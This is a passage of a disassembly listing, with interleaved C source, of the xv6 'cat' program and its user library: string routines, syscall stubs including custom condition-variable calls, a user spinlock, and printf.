7d: 83 ec 0c sub $0xc,%esp
80: 6a 00 push $0x0
82: e8 09 00 00 00 call 90 <cat>
exit();
87: e8 16 03 00 00 call 3a2 <exit>
8c: 66 90 xchg %ax,%ax
8e: 66 90 xchg %ax,%ax
00000090 <cat>:
{
90: 55 push %ebp
91: 89 e5 mov %esp,%ebp
93: 56 push %esi
94: 53 push %ebx
95: 8b 75 08 mov 0x8(%ebp),%esi
while((n = read(fd, buf, sizeof(buf))) > 0) {
98: eb 1d jmp b7 <cat+0x27>
9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if (write(1, buf, n) != n) {
a0: 83 ec 04 sub $0x4,%esp
a3: 53 push %ebx
a4: 68 00 0c 00 00 push $0xc00
a9: 6a 01 push $0x1
ab: e8 12 03 00 00 call 3c2 <write>
b0: 83 c4 10 add $0x10,%esp
b3: 39 d8 cmp %ebx,%eax
b5: 75 26 jne dd <cat+0x4d>
while((n = read(fd, buf, sizeof(buf))) > 0) {
b7: 83 ec 04 sub $0x4,%esp
ba: 68 00 02 00 00 push $0x200
bf: 68 00 0c 00 00 push $0xc00
c4: 56 push %esi
c5: e8 f0 02 00 00 call 3ba <read>
ca: 83 c4 10 add $0x10,%esp
cd: 83 f8 00 cmp $0x0,%eax
d0: 89 c3 mov %eax,%ebx
d2: 7f cc jg a0 <cat+0x10>
if(n < 0){
d4: 75 1b jne f1 <cat+0x61>
}
d6: 8d 65 f8 lea -0x8(%ebp),%esp
d9: 5b pop %ebx
da: 5e pop %esi
db: 5d pop %ebp
dc: c3 ret
printf(1, "cat: write error\n");
dd: 83 ec 08 sub $0x8,%esp
e0: 68 58 08 00 00 push $0x858
e5: 6a 01 push $0x1
e7: e8 14 04 00 00 call 500 <printf>
exit();
ec: e8 b1 02 00 00 call 3a2 <exit>
printf(1, "cat: read error\n");
f1: 50 push %eax
f2: 50 push %eax
f3: 68 6a 08 00 00 push $0x86a
f8: 6a 01 push $0x1
fa: e8 01 04 00 00 call 500 <printf>
exit();
ff: e8 9e 02 00 00 call 3a2 <exit>
104: 66 90 xchg %ax,%ax
106: 66 90 xchg %ax,%ax
108: 66 90 xchg %ax,%ax
10a: 66 90 xchg %ax,%ax
10c: 66 90 xchg %ax,%ax
10e: 66 90 xchg %ax,%ax
00000110 <init_lock>:
#include "user.h"
#include "x86.h"
#include "spinlock.h"
void
init_lock(struct spinlock * lk) {
110: 55 push %ebp
111: 89 e5 mov %esp,%ebp
lk->locked = 0;
113: 8b 45 08 mov 0x8(%ebp),%eax
116: c7 00 00 00 00 00 movl $0x0,(%eax)
}
11c: 5d pop %ebp
11d: c3 ret
11e: 66 90 xchg %ax,%ax
00000120 <lock>:
void lock(struct spinlock * lk) {
120: 55 push %ebp
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
121: b9 01 00 00 00 mov $0x1,%ecx
126: 89 e5 mov %esp,%ebp
128: 8b 55 08 mov 0x8(%ebp),%edx
12b: 90 nop
12c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
130: 89 c8 mov %ecx,%eax
132: f0 87 02 lock xchg %eax,(%edx)
while(xchg(&lk->locked, 1) != 0)
135: 85 c0 test %eax,%eax
137: 75 f7 jne 130 <lock+0x10>
;
}
139: 5d pop %ebp
13a: c3 ret
13b: 90 nop
13c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000140 <unlock>:
void unlock(struct spinlock * lk) {
140: 55 push %ebp
141: 31 c0 xor %eax,%eax
143: 89 e5 mov %esp,%ebp
145: 8b 55 08 mov 0x8(%ebp),%edx
148: f0 87 02 lock xchg %eax,(%edx)
xchg(&lk->locked, 0);
}
14b: 5d pop %ebp
14c: c3 ret
14d: 8d 76 00 lea 0x0(%esi),%esi
00000150 <strcpy>:
char*
strcpy(char *s, const char *t)
{
150: 55 push %ebp
151: 89 e5 mov %esp,%ebp
153: 53 push %ebx
154: 8b 45 08 mov 0x8(%ebp),%eax
157: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
15a: 89 c2 mov %eax,%edx
15c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
160: 83 c1 01 add $0x1,%ecx
163: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
167: 83 c2 01 add $0x1,%edx
16a: 84 db test %bl,%bl
16c: 88 5a ff mov %bl,-0x1(%edx)
16f: 75 ef jne 160 <strcpy+0x10>
;
return os;
}
171: 5b pop %ebx
172: 5d pop %ebp
173: c3 ret
174: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
17a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000180 <strcmp>:
int
strcmp(const char *p, const char *q)
{
180: 55 push %ebp
181: 89 e5 mov %esp,%ebp
183: 53 push %ebx
184: 8b 55 08 mov 0x8(%ebp),%edx
187: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
18a: 0f b6 02 movzbl (%edx),%eax
18d: 0f b6 19 movzbl (%ecx),%ebx
190: 84 c0 test %al,%al
192: 75 1c jne 1b0 <strcmp+0x30>
194: eb 2a jmp 1c0 <strcmp+0x40>
196: 8d 76 00 lea 0x0(%esi),%esi
199: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
1a0: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
1a3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
1a6: 83 c1 01 add $0x1,%ecx
1a9: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
1ac: 84 c0 test %al,%al
1ae: 74 10 je 1c0 <strcmp+0x40>
1b0: 38 d8 cmp %bl,%al
1b2: 74 ec je 1a0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
1b4: 29 d8 sub %ebx,%eax
}
1b6: 5b pop %ebx
1b7: 5d pop %ebp
1b8: c3 ret
1b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1c0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
1c2: 29 d8 sub %ebx,%eax
}
1c4: 5b pop %ebx
1c5: 5d pop %ebp
1c6: c3 ret
1c7: 89 f6 mov %esi,%esi
1c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001d0 <strlen>:
uint
strlen(const char *s)
{
1d0: 55 push %ebp
1d1: 89 e5 mov %esp,%ebp
1d3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
1d6: 80 39 00 cmpb $0x0,(%ecx)
1d9: 74 15 je 1f0 <strlen+0x20>
1db: 31 d2 xor %edx,%edx
1dd: 8d 76 00 lea 0x0(%esi),%esi
1e0: 83 c2 01 add $0x1,%edx
1e3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
1e7: 89 d0 mov %edx,%eax
1e9: 75 f5 jne 1e0 <strlen+0x10>
;
return n;
}
1eb: 5d pop %ebp
1ec: c3 ret
1ed: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
1f0: 31 c0 xor %eax,%eax
}
1f2: 5d pop %ebp
1f3: c3 ret
1f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000200 <memset>:
void*
memset(void *dst, int c, uint n)
{
200: 55 push %ebp
201: 89 e5 mov %esp,%ebp
203: 57 push %edi
204: 8b 55 08 mov 0x8(%ebp),%edx
asm volatile("cld; rep stosb" :
207: 8b 4d 10 mov 0x10(%ebp),%ecx
20a: 8b 45 0c mov 0xc(%ebp),%eax
20d: 89 d7 mov %edx,%edi
20f: fc cld
210: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
212: 89 d0 mov %edx,%eax
214: 5f pop %edi
215: 5d pop %ebp
216: c3 ret
217: 89 f6 mov %esi,%esi
219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000220 <strchr>:
char*
strchr(const char *s, char c)
{
220: 55 push %ebp
221: 89 e5 mov %esp,%ebp
223: 53 push %ebx
224: 8b 45 08 mov 0x8(%ebp),%eax
227: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
22a: 0f b6 10 movzbl (%eax),%edx
22d: 84 d2 test %dl,%dl
22f: 74 1d je 24e <strchr+0x2e>
if(*s == c)
231: 38 d3 cmp %dl,%bl
233: 89 d9 mov %ebx,%ecx
235: 75 0d jne 244 <strchr+0x24>
237: eb 17 jmp 250 <strchr+0x30>
239: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
240: 38 ca cmp %cl,%dl
242: 74 0c je 250 <strchr+0x30>
for(; *s; s++)
244: 83 c0 01 add $0x1,%eax
247: 0f b6 10 movzbl (%eax),%edx
24a: 84 d2 test %dl,%dl
24c: 75 f2 jne 240 <strchr+0x20>
return (char*)s;
return 0;
24e: 31 c0 xor %eax,%eax
}
250: 5b pop %ebx
251: 5d pop %ebp
252: c3 ret
253: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000260 <gets>:
char*
gets(char *buf, int max)
{
260: 55 push %ebp
261: 89 e5 mov %esp,%ebp
263: 57 push %edi
264: 56 push %esi
265: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
266: 31 f6 xor %esi,%esi
268: 89 f3 mov %esi,%ebx
{
26a: 83 ec 1c sub $0x1c,%esp
26d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
270: eb 2f jmp 2a1 <gets+0x41>
272: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
278: 8d 45 e7 lea -0x19(%ebp),%eax
27b: 83 ec 04 sub $0x4,%esp
27e: 6a 01 push $0x1
280: 50 push %eax
281: 6a 00 push $0x0
283: e8 32 01 00 00 call 3ba <read>
if(cc < 1)
288: 83 c4 10 add $0x10,%esp
28b: 85 c0 test %eax,%eax
28d: 7e 1c jle 2ab <gets+0x4b>
break;
buf[i++] = c;
28f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
293: 83 c7 01 add $0x1,%edi
296: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
299: 3c 0a cmp $0xa,%al
29b: 74 23 je 2c0 <gets+0x60>
29d: 3c 0d cmp $0xd,%al
29f: 74 1f je 2c0 <gets+0x60>
for(i=0; i+1 < max; ){
2a1: 83 c3 01 add $0x1,%ebx
2a4: 3b 5d 0c cmp 0xc(%ebp),%ebx
2a7: 89 fe mov %edi,%esi
2a9: 7c cd jl 278 <gets+0x18>
2ab: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
2ad: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
2b0: c6 03 00 movb $0x0,(%ebx)
}
2b3: 8d 65 f4 lea -0xc(%ebp),%esp
2b6: 5b pop %ebx
2b7: 5e pop %esi
2b8: 5f pop %edi
2b9: 5d pop %ebp
2ba: c3 ret
2bb: 90 nop
2bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2c0: 8b 75 08 mov 0x8(%ebp),%esi
2c3: 8b 45 08 mov 0x8(%ebp),%eax
2c6: 01 de add %ebx,%esi
2c8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
2ca: c6 03 00 movb $0x0,(%ebx)
}
2cd: 8d 65 f4 lea -0xc(%ebp),%esp
2d0: 5b pop %ebx
2d1: 5e pop %esi
2d2: 5f pop %edi
2d3: 5d pop %ebp
2d4: c3 ret
2d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002e0 <stat>:
int
stat(const char *n, struct stat *st)
{
2e0: 55 push %ebp
2e1: 89 e5 mov %esp,%ebp
2e3: 56 push %esi
2e4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
2e5: 83 ec 08 sub $0x8,%esp
2e8: 6a 00 push $0x0
2ea: ff 75 08 pushl 0x8(%ebp)
2ed: e8 f0 00 00 00 call 3e2 <open>
if(fd < 0)
2f2: 83 c4 10 add $0x10,%esp
2f5: 85 c0 test %eax,%eax
2f7: 78 27 js 320 <stat+0x40>
return -1;
r = fstat(fd, st);
2f9: 83 ec 08 sub $0x8,%esp
2fc: ff 75 0c pushl 0xc(%ebp)
2ff: 89 c3 mov %eax,%ebx
301: 50 push %eax
302: e8 f3 00 00 00 call 3fa <fstat>
close(fd);
307: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
30a: 89 c6 mov %eax,%esi
close(fd);
30c: e8 b9 00 00 00 call 3ca <close>
return r;
311: 83 c4 10 add $0x10,%esp
}
314: 8d 65 f8 lea -0x8(%ebp),%esp
317: 89 f0 mov %esi,%eax
319: 5b pop %ebx
31a: 5e pop %esi
31b: 5d pop %ebp
31c: c3 ret
31d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
320: be ff ff ff ff mov $0xffffffff,%esi
325: eb ed jmp 314 <stat+0x34>
327: 89 f6 mov %esi,%esi
329: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000330 <atoi>:
int
atoi(const char *s)
{
330: 55 push %ebp
331: 89 e5 mov %esp,%ebp
333: 53 push %ebx
334: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
337: 0f be 11 movsbl (%ecx),%edx
33a: 8d 42 d0 lea -0x30(%edx),%eax
33d: 3c 09 cmp $0x9,%al
n = 0;
33f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
344: 77 1f ja 365 <atoi+0x35>
346: 8d 76 00 lea 0x0(%esi),%esi
349: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
350: 8d 04 80 lea (%eax,%eax,4),%eax
353: 83 c1 01 add $0x1,%ecx
356: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
35a: 0f be 11 movsbl (%ecx),%edx
35d: 8d 5a d0 lea -0x30(%edx),%ebx
360: 80 fb 09 cmp $0x9,%bl
363: 76 eb jbe 350 <atoi+0x20>
return n;
}
365: 5b pop %ebx
366: 5d pop %ebp
367: c3 ret
368: 90 nop
369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000370 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
370: 55 push %ebp
371: 89 e5 mov %esp,%ebp
373: 56 push %esi
374: 53 push %ebx
375: 8b 5d 10 mov 0x10(%ebp),%ebx
378: 8b 45 08 mov 0x8(%ebp),%eax
37b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
37e: 85 db test %ebx,%ebx
380: 7e 14 jle 396 <memmove+0x26>
382: 31 d2 xor %edx,%edx
384: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
388: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
38c: 88 0c 10 mov %cl,(%eax,%edx,1)
38f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
392: 39 d3 cmp %edx,%ebx
394: 75 f2 jne 388 <memmove+0x18>
return vdst;
}
396: 5b pop %ebx
397: 5e pop %esi
398: 5d pop %ebp
399: c3 ret
0000039a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
39a: b8 01 00 00 00 mov $0x1,%eax
39f: cd 40 int $0x40
3a1: c3 ret
000003a2 <exit>:
SYSCALL(exit)
3a2: b8 02 00 00 00 mov $0x2,%eax
3a7: cd 40 int $0x40
3a9: c3 ret
000003aa <wait>:
SYSCALL(wait)
3aa: b8 03 00 00 00 mov $0x3,%eax
3af: cd 40 int $0x40
3b1: c3 ret
000003b2 <pipe>:
SYSCALL(pipe)
3b2: b8 04 00 00 00 mov $0x4,%eax
3b7: cd 40 int $0x40
3b9: c3 ret
000003ba <read>:
SYSCALL(read)
3ba: b8 05 00 00 00 mov $0x5,%eax
3bf: cd 40 int $0x40
3c1: c3 ret
000003c2 <write>:
SYSCALL(write)
3c2: b8 10 00 00 00 mov $0x10,%eax
3c7: cd 40 int $0x40
3c9: c3 ret
000003ca <close>:
SYSCALL(close)
3ca: b8 15 00 00 00 mov $0x15,%eax
3cf: cd 40 int $0x40
3d1: c3 ret
000003d2 <kill>:
SYSCALL(kill)
3d2: b8 06 00 00 00 mov $0x6,%eax
3d7: cd 40 int $0x40
3d9: c3 ret
000003da <exec>:
SYSCALL(exec)
3da: b8 07 00 00 00 mov $0x7,%eax
3df: cd 40 int $0x40
3e1: c3 ret
000003e2 <open>:
SYSCALL(open)
3e2: b8 0f 00 00 00 mov $0xf,%eax
3e7: cd 40 int $0x40
3e9: c3 ret
000003ea <mknod>:
SYSCALL(mknod)
3ea: b8 11 00 00 00 mov $0x11,%eax
3ef: cd 40 int $0x40
3f1: c3 ret
000003f2 <unlink>:
SYSCALL(unlink)
3f2: b8 12 00 00 00 mov $0x12,%eax
3f7: cd 40 int $0x40
3f9: c3 ret
000003fa <fstat>:
SYSCALL(fstat)
3fa: b8 08 00 00 00 mov $0x8,%eax
3ff: cd 40 int $0x40
401: c3 ret
00000402 <link>:
SYSCALL(link)
402: b8 13 00 00 00 mov $0x13,%eax
407: cd 40 int $0x40
409: c3 ret
0000040a <mkdir>:
SYSCALL(mkdir)
40a: b8 14 00 00 00 mov $0x14,%eax
40f: cd 40 int $0x40
411: c3 ret
00000412 <chdir>:
SYSCALL(chdir)
412: b8 09 00 00 00 mov $0x9,%eax
417: cd 40 int $0x40
419: c3 ret
0000041a <dup>:
SYSCALL(dup)
41a: b8 0a 00 00 00 mov $0xa,%eax
41f: cd 40 int $0x40
421: c3 ret
00000422 <getpid>:
SYSCALL(getpid)
422: b8 0b 00 00 00 mov $0xb,%eax
427: cd 40 int $0x40
429: c3 ret
0000042a <sbrk>:
SYSCALL(sbrk)
42a: b8 0c 00 00 00 mov $0xc,%eax
42f: cd 40 int $0x40
431: c3 ret
00000432 <sleep>:
SYSCALL(sleep)
432: b8 0d 00 00 00 mov $0xd,%eax
437: cd 40 int $0x40
439: c3 ret
0000043a <uptime>:
SYSCALL(uptime)
43a: b8 0e 00 00 00 mov $0xe,%eax
43f: cd 40 int $0x40
441: c3 ret
00000442 <cv_signal>:
SYSCALL(cv_signal)
442: b8 16 00 00 00 mov $0x16,%eax
447: cd 40 int $0x40
449: c3 ret
0000044a <cv_wait>:
44a: b8 17 00 00 00 mov $0x17,%eax
44f: cd 40 int $0x40
451: c3 ret
452: 66 90 xchg %ax,%ax
454: 66 90 xchg %ax,%ax
456: 66 90 xchg %ax,%ax
458: 66 90 xchg %ax,%ax
45a: 66 90 xchg %ax,%ax
45c: 66 90 xchg %ax,%ax
45e: 66 90 xchg %ax,%ax
00000460 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
460: 55 push %ebp
461: 89 e5 mov %esp,%ebp
463: 57 push %edi
464: 56 push %esi
465: 53 push %ebx
466: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
469: 85 d2 test %edx,%edx
{
46b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
46e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
470: 79 76 jns 4e8 <printint+0x88>
472: f6 45 08 01 testb $0x1,0x8(%ebp)
476: 74 70 je 4e8 <printint+0x88>
x = -xx;
478: f7 d8 neg %eax
neg = 1;
47a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
481: 31 f6 xor %esi,%esi
483: 8d 5d d7 lea -0x29(%ebp),%ebx
486: eb 0a jmp 492 <printint+0x32>
488: 90 nop
489: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
490: 89 fe mov %edi,%esi
492: 31 d2 xor %edx,%edx
494: 8d 7e 01 lea 0x1(%esi),%edi
497: f7 f1 div %ecx
499: 0f b6 92 98 08 00 00 movzbl 0x898(%edx),%edx
}while((x /= base) != 0);
4a0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
4a2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
4a5: 75 e9 jne 490 <printint+0x30>
if(neg)
4a7: 8b 45 c4 mov -0x3c(%ebp),%eax
4aa: 85 c0 test %eax,%eax
4ac: 74 08 je 4b6 <printint+0x56>
buf[i++] = '-';
4ae: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
4b3: 8d 7e 02 lea 0x2(%esi),%edi
4b6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
4ba: 8b 7d c0 mov -0x40(%ebp),%edi
4bd: 8d 76 00 lea 0x0(%esi),%esi
4c0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
4c3: 83 ec 04 sub $0x4,%esp
4c6: 83 ee 01 sub $0x1,%esi
4c9: 6a 01 push $0x1
4cb: 53 push %ebx
4cc: 57 push %edi
4cd: 88 45 d7 mov %al,-0x29(%ebp)
4d0: e8 ed fe ff ff call 3c2 <write>
while(--i >= 0)
4d5: 83 c4 10 add $0x10,%esp
4d8: 39 de cmp %ebx,%esi
4da: 75 e4 jne 4c0 <printint+0x60>
putc(fd, buf[i]);
}
4dc: 8d 65 f4 lea -0xc(%ebp),%esp
4df: 5b pop %ebx
4e0: 5e pop %esi
4e1: 5f pop %edi
4e2: 5d pop %ebp
4e3: c3 ret
4e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
4e8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
4ef: eb 90 jmp 481 <printint+0x21>
4f1: eb 0d jmp 500 <printf>
4f3: 90 nop
4f4: 90 nop
4f5: 90 nop
4f6: 90 nop
4f7: 90 nop
4f8: 90 nop
4f9: 90 nop
4fa: 90 nop
4fb: 90 nop
4fc: 90 nop
4fd: 90 nop
4fe: 90 nop
4ff: 90 nop
00000500 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
500: 55 push %ebp
501: 89 e5 mov %esp,%ebp
503: 57 push %edi
504: 56 push %esi
505: 53 push %ebx
506: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
509: 8b 75 0c mov 0xc(%ebp),%esi
50c: 0f b6 1e movzbl (%esi),%ebx
50f: 84 db test %bl,%bl
511: 0f 84 b3 00 00 00 je 5ca <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
517: 8d 45 10 lea 0x10(%ebp),%eax
51a: 83 c6 01 add $0x1,%esi
state = 0;
51d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
51f: 89 45 d4 mov %eax,-0x2c(%ebp)
522: eb 2f jmp 553 <printf+0x53>
524: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
528: 83 f8 25 cmp $0x25,%eax
52b: 0f 84 a7 00 00 00 je 5d8 <printf+0xd8>
write(fd, &c, 1);
531: 8d 45 e2 lea -0x1e(%ebp),%eax
534: 83 ec 04 sub $0x4,%esp
537: 88 5d e2 mov %bl,-0x1e(%ebp)
53a: 6a 01 push $0x1
53c: 50 push %eax
53d: ff 75 08 pushl 0x8(%ebp)
540: e8 7d fe ff ff call 3c2 <write>
545: 83 c4 10 add $0x10,%esp
548: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
54b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
54f: 84 db test %bl,%bl
551: 74 77 je 5ca <printf+0xca>
if(state == 0){
553: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
555: 0f be cb movsbl %bl,%ecx
558: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
55b: 74 cb je 528 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
55d: 83 ff 25 cmp $0x25,%edi
560: 75 e6 jne 548 <printf+0x48>
if(c == 'd'){
562: 83 f8 64 cmp $0x64,%eax
565: 0f 84 05 01 00 00 je 670 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
56b: 81 e1 f7 00 00 00 and $0xf7,%ecx
571: 83 f9 70 cmp $0x70,%ecx
574: 74 72 je 5e8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
576: 83 f8 73 cmp $0x73,%eax
579: 0f 84 99 00 00 00 je 618 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
57f: 83 f8 63 cmp $0x63,%eax
582: 0f 84 08 01 00 00 je 690 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
588: 83 f8 25 cmp $0x25,%eax
58b: 0f 84 ef 00 00 00 je 680 <printf+0x180>
write(fd, &c, 1);
591: 8d 45 e7 lea -0x19(%ebp),%eax
594: 83 ec 04 sub $0x4,%esp
597: c6 45 e7 25 movb $0x25,-0x19(%ebp)
59b: 6a 01 push $0x1
59d: 50 push %eax
59e: ff 75 08 pushl 0x8(%ebp)
5a1: e8 1c fe ff ff call 3c2 <write>
5a6: 83 c4 0c add $0xc,%esp
5a9: 8d 45 e6 lea -0x1a(%ebp),%eax
5ac: 88 5d e6 mov %bl,-0x1a(%ebp)
5af: 6a 01 push $0x1
5b1: 50 push %eax
5b2: ff 75 08 pushl 0x8(%ebp)
5b5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
5b8: 31 ff xor %edi,%edi
write(fd, &c, 1);
5ba: e8 03 fe ff ff call 3c2 <write>
for(i = 0; fmt[i]; i++){
5bf: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
5c3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
5c6: 84 db test %bl,%bl
5c8: 75 89 jne 553 <printf+0x53>
}
}
}
5ca: 8d 65 f4 lea -0xc(%ebp),%esp
5cd: 5b pop %ebx
5ce: 5e pop %esi
5cf: 5f pop %edi
5d0: 5d pop %ebp
5d1: c3 ret
5d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
5d8: bf 25 00 00 00 mov $0x25,%edi
5dd: e9 66 ff ff ff jmp 548 <printf+0x48>
5e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
5e8: 83 ec 0c sub $0xc,%esp
5eb: b9 10 00 00 00 mov $0x10,%ecx
5f0: 6a 00 push $0x0
5f2: 8b 7d d4 mov -0x2c(%ebp),%edi
5f5: 8b 45 08 mov 0x8(%ebp),%eax
5f8: 8b 17 mov (%edi),%edx
5fa: e8 61 fe ff ff call 460 <printint>
ap++;
5ff: 89 f8 mov %edi,%eax
601: 83 c4 10 add $0x10,%esp
state = 0;
604: 31 ff xor %edi,%edi
ap++;
606: 83 c0 04 add $0x4,%eax
609: 89 45 d4 mov %eax,-0x2c(%ebp)
60c: e9 37 ff ff ff jmp 548 <printf+0x48>
611: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
618: 8b 45 d4 mov -0x2c(%ebp),%eax
61b: 8b 08 mov (%eax),%ecx
ap++;
61d: 83 c0 04 add $0x4,%eax
620: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
623: 85 c9 test %ecx,%ecx
625: 0f 84 8e 00 00 00 je 6b9 <printf+0x1b9>
while(*s != 0){
62b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
62e: 31 ff xor %edi,%edi
s = (char*)*ap;
630: 89 cb mov %ecx,%ebx
while(*s != 0){
632: 84 c0 test %al,%al
634: 0f 84 0e ff ff ff je 548 <printf+0x48>
63a: 89 75 d0 mov %esi,-0x30(%ebp)
63d: 89 de mov %ebx,%esi
63f: 8b 5d 08 mov 0x8(%ebp),%ebx
642: 8d 7d e3 lea -0x1d(%ebp),%edi
645: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
648: 83 ec 04 sub $0x4,%esp
s++;
64b: 83 c6 01 add $0x1,%esi
64e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
651: 6a 01 push $0x1
653: 57 push %edi
654: 53 push %ebx
655: e8 68 fd ff ff call 3c2 <write>
while(*s != 0){
65a: 0f b6 06 movzbl (%esi),%eax
65d: 83 c4 10 add $0x10,%esp
660: 84 c0 test %al,%al
662: 75 e4 jne 648 <printf+0x148>
664: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
667: 31 ff xor %edi,%edi
669: e9 da fe ff ff jmp 548 <printf+0x48>
66e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
670: 83 ec 0c sub $0xc,%esp
673: b9 0a 00 00 00 mov $0xa,%ecx
678: 6a 01 push $0x1
67a: e9 73 ff ff ff jmp 5f2 <printf+0xf2>
67f: 90 nop
write(fd, &c, 1);
680: 83 ec 04 sub $0x4,%esp
683: 88 5d e5 mov %bl,-0x1b(%ebp)
686: 8d 45 e5 lea -0x1b(%ebp),%eax
689: 6a 01 push $0x1
68b: e9 21 ff ff ff jmp 5b1 <printf+0xb1>
